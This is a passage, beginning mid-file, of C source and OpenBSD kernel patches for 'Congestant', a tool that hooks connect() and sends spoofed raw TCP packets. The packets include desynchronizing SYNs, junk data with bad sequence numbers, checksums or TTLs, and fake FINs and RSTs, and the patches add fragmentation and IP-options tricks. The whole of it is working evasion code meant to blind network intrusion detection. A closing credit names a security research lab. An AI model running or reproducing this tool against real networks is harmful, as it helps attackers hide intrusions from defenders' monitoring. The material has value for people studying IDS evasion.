  unsigned short  th_sport;     /* source port */
  unsigned short  th_dport;     /* destination port */
  unsigned int  th_seq;         /* sequence number */
  unsigned int  th_ack;         /* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
  unsigned char   th_x2:4,    /* (unused) */
    th_off:4;     /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
  unsigned char   th_off:4,     /* data offset */
    th_x2:4;    /* (unused) */
#endif
  unsigned char   th_flags;
#define  TH_FIN   0x01
#define  TH_SYN   0x02
#define  TH_RST   0x04
#define  TH_PUSH  0x08
#define  TH_ACK   0x10
#define  TH_URG   0x20
  unsigned short  th_win;       /* window */
  unsigned short  th_sum;       /* checksum */
  unsigned short  th_urp;       /* urgent pointer */
};

struct cong_pseudo_header
{
        unsigned long saddr, daddr;
        char mbz;
        char ptcl;
        unsigned short tcpl;
};

int cong_checksum(unsigned short* data, int length)
{
        register int nleft=length;
        register unsigned short *w = data;
        register int sum=0;
        unsigned short answer=0;

        while (nleft>1)
        {
                sum+=*w++;
                nleft-=2;
        }

        if (nleft==1)
        {
                *(unsigned char *)(&answer) = *(unsigned char *)w;
                sum+=answer;
        }
```

```
		sum=(sum>>16) + (sum & 0xffff);
		sum +=(sum>>16);
		answer=~sum;

	return answer;
}

#define PHLEN (sizeof (struct cong_pseudo_header))
#define IHLEN (sizeof (struct cong_ip_header))
#define ICMPLEN (sizeof (struct cong_icmp_header))
#define THLEN (sizeof (struct cong_tcp_header))

/* Utility routine for the ttl attack. Sends an icmp echo */

void cong_send_icmp(long source, long dest, int seq, int id, int ttl)
{
		struct sockaddr_in sa;
		int sock,packet_len;
		char *pkt;
		struct cong_ip_header *ip;
		struct cong_icmp_header *icmp;

		int on=1;

		if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
		{
			perror("socket");
			exit(1);
		}

		if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
		{
			perror("setsockopt: IP_HDRINCL");
			exit(1);
		}

		bzero(&sa,sizeof(struct sockaddr_in));
	sa.sin_addr.s_addr = dest;
	sa.sin_family = AF_INET;

		pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN));

		ip=(struct cong_ip_header *)pkt;
		icmp=(struct cong_icmp_header *)(pkt+IHLEN);

		ip->ip_v = 4;
		ip->ip_hl = IHLEN >>2;
		ip->ip_tos = 0;
		ip->ip_len = htons(IHLEN+ICMPLEN);
		ip->ip_id = htons(getpid() & 0xFFFF);
		ip->ip_off = 0;
		ip->ip_ttl = ttl;
		ip->ip_p = IPPROTO_ICMP ;//ICMP
		ip->ip_sum = 0;
		ip->ip_src = source;
		ip->ip_dst = dest;
		icmp->icmp_type=8;
		icmp->icmp_seq=htons(seq);
		icmp->icmp_id=htons(id);
		icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN);

		if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
		{
			perror("sendto");
		}

		free(pkt);
		close(sock);
}

/* Our main worker routine. sends a TCP packet */

void cong_send_tcp(long source, long dest,short int sport, short int dport,
			long seq, long ack, int flags, char *data, int dlen,
				int cksum, int ttl)
	{
```

```
        struct sockaddr_in sa;
        int sock,packet_len;
        char *pkt,*phtcp;
        struct cong_pseudo_header *ph;
        struct cong_ip_header *ip;
        struct cong_tcp_header *tcp;

        int on=1;

        if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
                perror("socket");
                exit(1);
        }

        if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
        {
                perror("setsockopt: IP_HDRINCL");
                exit(1);
        }

        bzero(&sa,sizeof(struct sockaddr_in));
    sa.sin_addr.s_addr = dest;
    sa.sin_family = AF_INET;
        sa.sin_port = dport;

        phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen));
        pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen));

        ph=(struct cong_pseudo_header *)phtcp;
        tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN);
        ip=(struct cong_ip_header *)pkt;

        ph->saddr=source;
        ph->daddr=dest;
        ph->mbz=0;
        ph->ptcl=IPPROTO_TCP;
        ph->tcpl=htons(THLEN + dlen);

        tcp->th_sport=sport;
        tcp->th_dport=dport;
        tcp->th_seq=seq;
        tcp->th_ack=ack;
        tcp->th_off=THLEN/4;
        tcp->th_flags=flags;
        if (ack) tcp->th_flags|=TH_ACK;
        tcp->th_win=htons(16384);
        memcpy(&(phtcp[PHLEN+THLEN]),data,dlen);
        tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum;

        ip->ip_v = 4;
        ip->ip_hl = IHLEN >>2;
        ip->ip_tos = 0;
        ip->ip_len = htons(IHLEN+THLEN+dlen);
        ip->ip_id = htons(getpid() & 0xFFFF);
        ip->ip_off = 0;
        ip->ip_ttl = ttl;
        ip->ip_p = IPPROTO_TCP ;//TCP
        ip->ip_sum = 0;
        ip->ip_src = source;
        ip->ip_dst = dest;
        ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN);

        memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen);

        if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
        {
                perror("sendto");
        }

        free(phtcp);
        free(pkt);
        close(sock);
}

/* Utility routine for data insertion attacks */

    void cong_send_data(long source, long dest,short int sport, short int dport,
```

```
                                long seq, long ack, int chk, int ttl)
{
        char data[1024];
        int i,j;

        for (i=0;i<8;i++)
        {
                for (j=0;j<1024;data[j++]=random());

                cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024),
                                htonl(ack), TH_PUSH, data, 1024, chk, ttl);
        }
}

/* Utility routine for the ttl attack  - potentially unreliable */
/* This could be rewritten to look for the icmp ttl exceeded and count
 * the number of packets it receives, thus going much quicker. */

int cong_find_ttl(long source, long dest)
{
        int sock;
        long timestamp;
        struct timeval tv,tvwait;
        int ttl=0,result=255;
        char buffer[8192];
        int bread;
        fd_set fds;
        struct cong_ip_header *ip;
        struct cong_icmp_header *icmp;

        if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
        {
                perror("socket");
                exit(1);
        }
        tvwait.tv_sec=0;
        tvwait.tv_usec=500;

        gettimeofday(&tv,NULL);
        timestamp=tv.tv_sec+3; // 3 second timeout

        DEBUG("Determining ttl...");

        while(tv.tv_sec<=timestamp)
        {
                gettimeofday(&tv,NULL);
                if (ttl<50)
                {
                        cong_send_icmp(source,dest,ttl,1,ttl);
                        cong_send_icmp(source,dest,ttl,1,ttl);
                        cong_send_icmp(source,dest,ttl,1,ttl++);
                }
                FD_ZERO(&fds);
                FD_SET(sock,&fds);
                select(sock+1,&fds,NULL,NULL,&tvwait);
                if (FD_ISSET(sock,&fds))
                {
                        if (bread=read(sock,buffer,sizeof(buffer)))
                        {
                                /* should we practice what we preach?
                                        nah...  too much effort :p */

                                ip=(struct cong_ip_header *)buffer;
                                if (ip->ip_src!=dest)
                                        continue;
                                icmp=(struct cong_icmp_header *)(buffer +
                                         ((ip->ip_hl)<<2));
                                if (icmp->icmp_type!=0)
                                        continue;
                                if (ntohs(icmp->icmp_seq)<result)
                                        result=ntohs(icmp->icmp_seq);
                        }
                }
        }
        if (cong_debug)
                fprintf(stderr,"%d\n",result);

        close(sock);
        return result;
}
```

```
/* This is our init routine - reads conf env var*/

/* On the glibc box I tested, you cant dlopen from within
 * _init, so there is a little hack here */

#if __GLIBC__ == 2
int cong_start(void)
#else
int _init(void)
#endif
{
	void *handle;
	char *conf;

#ifndef __OpenBSD__
	handle=dlopen(LIB_PATH,1);
	if (!handle)
	{
		fprintf(stderr,"Congestant Error: Can't load libc.\n");
		return 0;
	}

#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
	cong_connect = dlsym(handle, "connect");
#else
	cong_connect = dlsym(handle, "_connect");
#endif

	if (!cong_connect)
	{
		fprintf(stderr,"Congestant Error: Can't find connect().\n");
		return -1;
	}
#endif	/* not openbsd */

	memset(&cong_config,0,sizeof(struct cong_config));

	if (conf=getenv("CONGCONF"))
	{
		char *token;
		token=strtok(conf,",");
		while (token)
		{
			if (!strcmp(token,"OH"))
				cong_config.one_host_attack=1;
			else if (!strcmp(token,"FS"))
				cong_config.fin_seq=1;
			else if (!strcmp(token,"RS"))
				cong_config.rst_seq=1;
			else if (!strcmp(token,"SS"))
				cong_config.syn_seq=1;
			else if (!strcmp(token,"DS"))
				cong_config.data_seq=1;
			else if (!strcmp(token,"FC"))
				cong_config.fin_chk=1;
			else if (!strcmp(token,"RC"))
				cong_config.rst_chk=1;
			else if (!strcmp(token,"SC"))
				cong_config.syn_chk=1;
			else if (!strcmp(token,"DC"))
				cong_config.data_chk=1;
			else if (!strcmp(token,"FT"))
			{
				cong_config.fin_ttl=1;
				cong_config.ttl=1;
			}
			else if (!strcmp(token,"RT"))
			{
				cong_config.rst_ttl=1;
				cong_config.ttl=1;
			}
			else if (!strcmp(token,"DT"))
			{
				cong_config.data_ttl=1;
				cong_config.ttl=1;
			}
			else if (!strcmp(token,"DEBUG"))
				cong_debug=1;
```

```
                        token=strtok(NULL,",");
                }
        }
        else                    /* default to full sneakiness */
        {
                cong_config.one_host_attack=1;
                cong_config.fin_seq=1;
                cong_config.rst_seq=1;
                cong_config.syn_seq=1;
                cong_config.data_seq=1;
                cong_config.syn_chk=1;
                cong_debug=1;
                        /* assume they have kernel support */
                        /* attacks are only compiled in under obsd*/
                cong_config.data_chk=1;
                cong_config.fin_chk=1;
                cong_config.rst_chk=1;
                cong_config.data_ttl=1;
                cong_config.fin_ttl=1;
                cong_config.rst_ttl=1;
                cong_config.ttl=1;
        }

        cong_init=1;
}

/* This is our definition of connect */

#if (__svr4__ && __sun__)
int connect (int __fd, struct sockaddr * __addr, int __len)
#else
#if __GLIBC__ == 2
int connect __P ((int __fd,
                __CONST_SOCKADDR_ARG __addr, socklen_t __len))
#else
int connect __P ((int __fd, const struct sockaddr * __addr, int __len))
#endif
#endif
{
        int result,nl;
        struct sockaddr_in sa;

        long from,to;
        short src,dest;

        unsigned long fakeseq=424242;
        int type=SOCK_STREAM;
        unsigned long realseq=0;
        unsigned long recvseq=0;
        int ttl=255,ttlseq;

#if __GLIBC__ == 2
        if (cong_init==0)
                cong_start();
#endif

        if (cong_init++==1)
                fprintf(stderr,"Congestant v1 by horizon loaded.\n");

/* quick hack so we dont waste time with udp connects */

#ifdef KERNELSUPPORT
#ifdef __OpenBSD__
        syscall(242,__fd,&type,&realseq,&recvseq);
#endif /* openbsd */
        if (type!=SOCK_STREAM)
        {
                result=syscall(SYS_connect,__fd,__addr,__len);
                return result;
        }
#endif /* kernel support */

        nl=sizeof(sa);
        getsockname(__fd,(struct sockaddr *)&sa,&nl);
        from=sa.sin_addr.s_addr;
        src=sa.sin_port;

#if __GLIBC__ == 2
        to=__addr.__sockaddr_in__->sin_addr.s_addr;
```

```
		dest=__addr.__sockaddr_in__->sin_port;
#else
		to=((struct sockaddr_in *)__addr)->sin_addr.s_addr;
		dest=((struct sockaddr_in *)__addr)->sin_port;
#endif

		if (cong_config.one_host_attack)
		{
			cong_send_tcp(inet_addr(FAKEHOST),
				to, 4242, dest, 0, 0,
				TH_SYN, NULL, 0, 0, 254);
			DEBUG("Spoofed Fake SYN Packet\n");
		}

		if (cong_config.syn_chk)
		{
			/* This is a potential problem that could mess up
			 * client programs. If necessary, we bind the socket
			 * so that we can know what the source port will be
			 * prior to the connection.
			 */
			if (src==0)
			{
				bind(__fd,(struct sockaddr *)&sa,nl);
				getsockname(__fd,(struct sockaddr *)&sa,&nl);
				from=sa.sin_addr.s_addr;
				src=sa.sin_port;
			}

			cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0,
				TH_SYN, NULL, 0,100, 254);
			DEBUG("Sent Pre-Connect Desynchronizing SYN.\n");
			fakeseq++;
		}

		DEBUG("Connection commencing...\n");

#ifndef __OpenBSD__
		result=cong_connect(__fd,__addr,__len);
#else /* not openbsd */
		result=syscall(SYS_connect,__fd,__addr,__len);
#endif

		if (result==-1)
		{
			if (errno!=EINPROGRESS)
				return -1;
			/* Let's only print the warning once */
			if (cong_init++==2)
				fprintf(stderr,"Warning: Non-blocking connects might not work right.\n");
		}

		/* In case an ephemeral port was assigned by connect */

		nl=sizeof(sa);
		getsockname(__fd,(struct sockaddr *)&sa,&nl);
		from=sa.sin_addr.s_addr;
		src=sa.sin_port;

		if (cong_config.syn_seq)
		{
			cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
				TH_SYN, NULL, 0, 0, 254);
			cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
				TH_SYN, NULL, 0, 0, 254);

			DEBUG("Sent Desynchronizing SYNs.\n");
		}

		if (cong_config.data_seq)
		{
			cong_send_data(from,to,src,dest,(fakeseq),0,0,254);
			DEBUG("Inserted 8K of data with incorrect sequence numbers.\n");
			fakeseq+=8*1024;
		}

		if (cong_config.fin_seq)
		{
			cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
```

```
                        TH_FIN, NULL, 0, 0, 254);
                cong_send_tcp(from, to, src, dest, htonl(fakeseq++),  0,
                        TH_FIN, NULL, 0, 0, 254);

                DEBUG("Spoofed FINs with incorrect sequence numbers.\n");
        }

        if (cong_config.rst_seq)
        {
                cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
                        TH_RST, NULL, 0, 0, 254);
                cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
                        TH_RST, NULL, 0, 0, 254);

                DEBUG("Spoofed RSTs with incorrect sequence numbers.\n");
        }

#ifdef KERNELSUPPORT
#ifdef __OpenBSD__

        if (cong_config.ttl==1)
                if (cong_ttl_cache!=to)
                {
                        ttl=cong_find_ttl(from,to)-1;
                        cong_ttl_cache=to;
                        cong_ttl=ttl;
                }
                else
                        ttl=cong_ttl;
        if (ttl<0)
        {
                fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n");
                cong_config.data_ttl=0;
                cong_config.fin_ttl=0;
                cong_config.rst_ttl=0;
                ttl=0;
        }

        syscall(242,__fd,&type,&realseq,&recvseq);
        ttlseq=realseq;

#endif /*openbsd */

        if (cong_config.data_ttl)
        {
                cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl);
                DEBUG("Inserted 8K of data with short ttl.\n");
                ttlseq+=1024*8;
        }

        if (cong_config.fin_ttl)
        {
                cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
                        htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
                cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
                        htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
                DEBUG("Spoofed FINs with short ttl.\n");
        }

        if (cong_config.rst_ttl)
        {
                cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
                        htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
                cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
                        htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
                DEBUG("Spoofed RSTs with short ttl.\n");
        }

        if (cong_config.data_chk)
        {
                cong_send_data(from,to,src,dest,(realseq),recvseq,100,254);
                DEBUG("Inserted 8K of data with incorrect TCP checksums.\n");
                realseq+=1024*8;
        }

        if (cong_config.fin_chk)
        {
                cong_send_tcp(from, to, src, dest, htonl(realseq++),
                                htonl(recvseq),TH_FIN, NULL, 0, 100, 254);
```

```
                        cong_send_tcp(from, to, src, dest, htonl(realseq++),
                                htonl(recvseq),TH_FIN, NULL, 0, 100, 254);
                        DEBUG("Spoofed FINs with incorrect TCP checksums.\n");
                }

                if (cong_config.rst_chk)
                {
                        cong_send_tcp(from, to, src, dest, htonl(realseq++),
                                htonl(recvseq),TH_RST, NULL, 0, 100, 254);
                        cong_send_tcp(from, to, src, dest, htonl(realseq++),
                                htonl(recvseq),TH_RST, NULL, 0, 100, 254);
                        DEBUG("Spoofed RSTs with incorrect TCP checksums.\n");
                }

#endif /* kernel support */

                return result;
}
<-->
<++> congestant/netinet.patch
Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS
diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h
--- /usr/src/sys.2.4.orig/netinet/in.h              Tue Dec  8 10:32:38 1998
+++ netinet/in.h        Tue Dec  8 10:48:33 1998
@@ -325,7 +325,10 @@
 #define IPCTL_IPPORT_LASTAUTO       8
 #define IPCTL_IPPORT_HIFIRSTAUTO 9
 #define IPCTL_IPPORT_HILASTAUTO    10
-#define    IPCTL_MAXID                     11
+#define IPCTL_FRAG_HACK_HEAD       11
+#define IPCTL_FRAG_HACK_BODY       12
+#define IPCTL_OPTIONS_HACK         13
+#define    IPCTL_MAXID                     14

 #define    IPCTL_NAMES { \
                { 0, 0 }, \
@@ -339,6 +342,9 @@
                { "portlast", CTLTYPE_INT }, \
                { "porthifirst", CTLTYPE_INT }, \
                { "porthilast", CTLTYPE_INT }, \
+               { "fraghackhead", CTLTYPE_INT }, \
+               { "fraghackbody", CTLTYPE_INT }, \
+               { "optionshack", CTLTYPE_INT }, \
 }

 #ifndef _KERNEL
diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c
--- /usr/src/sys.2.4.orig/netinet/ip_input.c      Tue Dec  8 10:32:41 1998
+++ netinet/ip_input.cTue Dec  8 10:48:33 1998
@@ -106,6 +106,10 @@
 extern int ipport_hilastauto;
 extern struct baddynamicports baddynamicports;

+extern int ip_fraghackhead;
+extern int ip_fraghackbody;
+extern int ip_optionshack;
+
 extern       struct domain inetdomain;
 extern       struct protosw inetsw[];
 u_char       ip_protox[IPPROTO_MAX];
@@ -1314,6 +1318,15 @@
                case IPCTL_IPPORT_HILASTAUTO:
                        return (sysctl_int(oldp, oldlenp, newp, newlen,
                            &ipport_hilastauto));
+               case IPCTL_FRAG_HACK_HEAD:
+                       return (sysctl_int(oldp, oldlenp, newp, newlen,
+                           &ip_fraghackhead));
+               case IPCTL_FRAG_HACK_BODY:
+                       return (sysctl_int(oldp, oldlenp, newp, newlen,
+                           &ip_fraghackbody));
+               case IPCTL_OPTIONS_HACK:
+                       return (sysctl_int(oldp, oldlenp, newp, newlen,
+                           &ip_optionshack));
                default:
                        return (EOPNOTSUPP);
                }
diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c
--- /usr/src/sys.2.4.orig/netinet/ip_output.c     Tue Dec  8 10:32:43 1998
+++ netinet/ip_output.c                Tue Dec  8 11:00:14 1998
@@ -88,6 +88,10 @@
 extern int ipsec_esp_network_default_level;
 #endif
```

```
+int ip_fraghackhead=0;
+int ip_fraghackbody=0;
+int ip_optionshack=0;
+
 /*
  * IP output.  The packet in mbuf chain m contains a skeletal IP
  * header (with len, off, ttl, proto, tos, src, dst).
@@ -124,6 +128,9 @@
 		struct inpcb *inp;
 #endif

+		/* HACK */
+		int fakeheadmtu;
+
 		va_start(ap, m0);
 		opt = va_arg(ap, struct mbuf *);
 		ro = va_arg(ap, struct route *);
@@ -144,7 +151,50 @@
 			m = ip_insertoptions(m, opt, &len);
 			hlen = len;
 		}
+		/* HACK */
+		else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+		{
+			struct mbuf *n=NULL;
+			register struct ip* ip= mtod(m, struct ip*);
+
+			if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat)
+			{
+				MGETHDR(n, M_DONTWAIT, MT_HEADER);
+				if (n)
+				{
+					n->m_pkthdr.len = m->m_pkthdr.len + 40;
+					m->m_len -= sizeof(struct ip);
+					m->m_data += sizeof(struct ip);
+					n->m_next = m;
+					m = n;
+					m->m_len = 40 + sizeof(struct ip);
+					m->m_data += max_linkhdr;
+					bcopy((caddr_t)ip, mtod(m, caddr_t),
+                                               sizeof(struct ip));
+                                }
+                        }
+                        else
+                        {
+                                m->m_data -= 40;
+                                m->m_len += 40;
+                                m->m_pkthdr.len += 40;
+                                ovbcopy((caddr_t)ip, mtod(m, caddr_t),
+                                        sizeof(struct ip));
+                                n++; /* make n!=0 */
+                        }
+                        if (n!=0)
+                        {
+                                ip = mtod(m, struct ip *);
+                                memset((caddr_t)(ip+1),0,40);
+                                ip->ip_len += 40;
+
+                                hlen=60;
+                                len=60;
+                        }
+                }
+
                ip = mtod(m, struct ip *);
+
                /*
                 * Fill in IP header.
                 */
@@ -721,7 +771,15 @@
                /*
                 * If small enough for interface, can just send directly.
                 */
-               if ((u_int16_t)ip->ip_len <= ifp->if_mtu) {
+
+               /* HACK */
+
+               fakeheadmtu=ifp->if_mtu;
+
+               if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+                       fakeheadmtu=ip_fraghackhead;
+
+               if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) {
                        ip->ip_len = htons((u_int16_t)ip->ip_len);
```

```
                        ip->ip_off = htons((u_int16_t)ip->ip_off);
                        ip->ip_sum = 0;
@@ -738,7 +796,10 @@
                        ipstat.ips_cantfrag++;
                        goto bad;
                }
-               len = (ifp->if_mtu - hlen) &~ 7;
+
+/* HACK */
+
+               len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7;
                if (len < 8) {
                        error = EMSGSIZE;
                        goto bad;
@@ -748,6 +809,9 @@
                int mhlen, firstlen = len;
                struct mbuf **mnext = &m->m_nextpkt;

+               /*HACK*/
+               int first=0;
+
                /*
                 * Loop through length of segment after first fragment,
                 * make new header and copy data of each part and link onto chain.
@@ -755,7 +819,9 @@
                m0 = m;
                mhlen = sizeof (struct ip);
                for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) {
-                       MGETHDR(m, M_DONTWAIT, MT_HEADER);
+                       if (first && ip_fraghackbody)
+                               len=(ip_fraghackbody-hlen) &~7;
+                       MGETHDR(m,  M_DONTWAIT, MT_HEADER);
                        if (m == 0) {
                                error = ENOBUFS;
                                ipstat.ips_odropped++;
@@ -791,6 +857,7 @@
                        mhip->ip_sum = 0;
                        mhip->ip_sum = in_cksum(m, mhlen);
                        ipstat.ips_ofragments++;
+                       first=1;
                }
                /*
                 * Update first fragment by trimming what's been copied out
Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite
diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c
--- /usr/src/sys.2.4.orig/netinet/tcp_subr.c      Tue Dec  8 10:32:45 1998
+++ netinet/tcp_subr.c                Tue Dec  8 10:48:33 1998
@@ -465,3 +465,18 @@
                if (tp)
                        tp->snd_cwnd = tp->t_maxseg;
 }
+
+/* HACK - This is a tcp subroutine added to grab the sequence numbers */
+
+void tcp_getseq(struct socket *so, struct mbuf *m)
+{
+               struct inpcb *inp;
+               struct tcpcb *tp;
+
+               if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp)))
+               {
+                       m->m_len=sizeof(unsigned long)*2;
+                       *(mtod(m,unsigned long *))=tp->snd_nxt;
+                       *((mtod(m,unsigned long *))+1)=tp->rcv_nxt;
+               }
+}
diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c
--- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c   Tue Dec  8 10:32:45 1998
+++ netinet/tcp_usrreq.c              Tue Dec  8 10:48:33 1998
@@ -363,6 +363,10 @@
                        in_setsockaddr(inp, nam);
                        break;


+               case PRU_SOCKINFO:
+                       tcp_getseq(so,m);
+                       break;
+
                case PRU_PEERADDR:
                        in_setpeeraddr(inp, nam);
                        break;
diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h
--- /usr/src/sys.2.4.orig/netinet/tcp_var.h       Tue Dec  8 10:32:45 1998
+++ netinet/tcp_var.h Tue Dec  8 10:48:34 1998
@@ -291,6 +291,8 @@
```

```
 void          tcp_pulloutofband __P((struct socket *,
                 struct tcpiphdr *, struct mbuf *));
 void          tcp_quench __P((struct inpcb *, int));
+/*HACK*/
+void          tcp_getseq __P((struct socket *, struct mbuf *));
 int           tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *));
 void          tcp_respond __P((struct tcpcb *,
                 struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int));
<-->
<++> congestant/kern.patch
--- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c  Thu Dec  3 11:00:01 1998
+++ kern/uipc_syscalls.c            Thu Dec  3 11:13:44 1998
@@ -924,6 +924,53 @@
 }

 /*
+ * Get socket information.  HACK
+ */
+
+/* ARGSUSED */
+int
+sys_getsockinfo(p, v, retval)
+               struct proc *p;
+               void *v;
+               register_t *retval;
+{
+               register struct sys_getsockinfo_args /* {
+                               syscallarg(int) fdes;
+                               syscallarg(int *) type;
+                               syscallarg(int *) seq;
+                               syscallarg(int *) ack;
+               } */ *uap = v;
+               struct file *fp;
+               register struct socket *so;
+               struct mbuf *m;
+               int error;
+
+               if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0)
+                               return (error);
+
+               so = (struct socket *)fp->f_data;
+
+               error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short));
+
+               if (!error && (so->so_type==SOCK_STREAM))
+               {
+                               m = m_getclr(M_WAIT, MT_DATA);
+                               if (m == NULL)
+                                               return (ENOBUFS);
+
+                               error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0);
+
+                               if (!error)
+                                               error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long));
+                               if (!error)
+                                               error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long));
+                               m_freem(m);
+               }
+
+               return error;
+}
+
+/*
  * Get name of peer for connected socket.
  */
 /* ARGSUSED */
--- /usr/src/sys.2.4.orig/kern/syscalls.master  Thu Dec  3 11:00:00 1998
+++ kern/syscalls.master            Thu Dec  3 11:14:44 1998
@@ -476,7 +476,8 @@
 240            STD                     { int sys_nanosleep(const struct timespec *rqtp, \
                                          struct timespec *rmtp); }
 241            UNIMPL
-242            UNIMPL
+242            STD                     { int sys_getsockinfo(int fdes, int *type, \
+                                          int *seq, int *ack); }
 243            UNIMPL
 244            UNIMPL
 245            UNIMPL
<-->
<++> congestant/sys.patch
--- /usr/src/sys.2.4.orig/sys/protosw.h          Thu Dec  3 11:00:39 1998
+++ sys/protosw.h      Thu Dec  3 11:16:41 1998
@@ -148,8 +148,8 @@
 #define     PRU_SLOWTIMO                    19              /* 500ms timeout */
```

```
 #define     PRU_PROTORCV                20          /* receive from below */
 #define     PRU_PROTOSEND               21          /* send to below */
-
-#define     PRU_NREQ                    21
+#define PRU_SOCKINFO                    22
+#define    PRU_NREQ                     22

 #ifdef PRUREQUESTS
 char *prurequests[] = {
@@ -158,7 +158,7 @@
            "RCVD",             "SEND",             "ABORT","CONTROL",
            "SENSE", "RCVOOB",          "SENDOOB",          "SOCKADDR",
            "PEERADDR",         "CONNECT2",         "FASTTIMO",         "SLOWTIMO",
-           "PROTORCV",         "PROTOSEND",
+           "PROTORCV",         "PROTOSEND",        "SOCKINFO",
 };
 #endif
<-->
```

نویسنده: سعید بیکی (cephexin@secumania.net)

© Secumania Security & Vulnerability Research Lab
www.secumania.net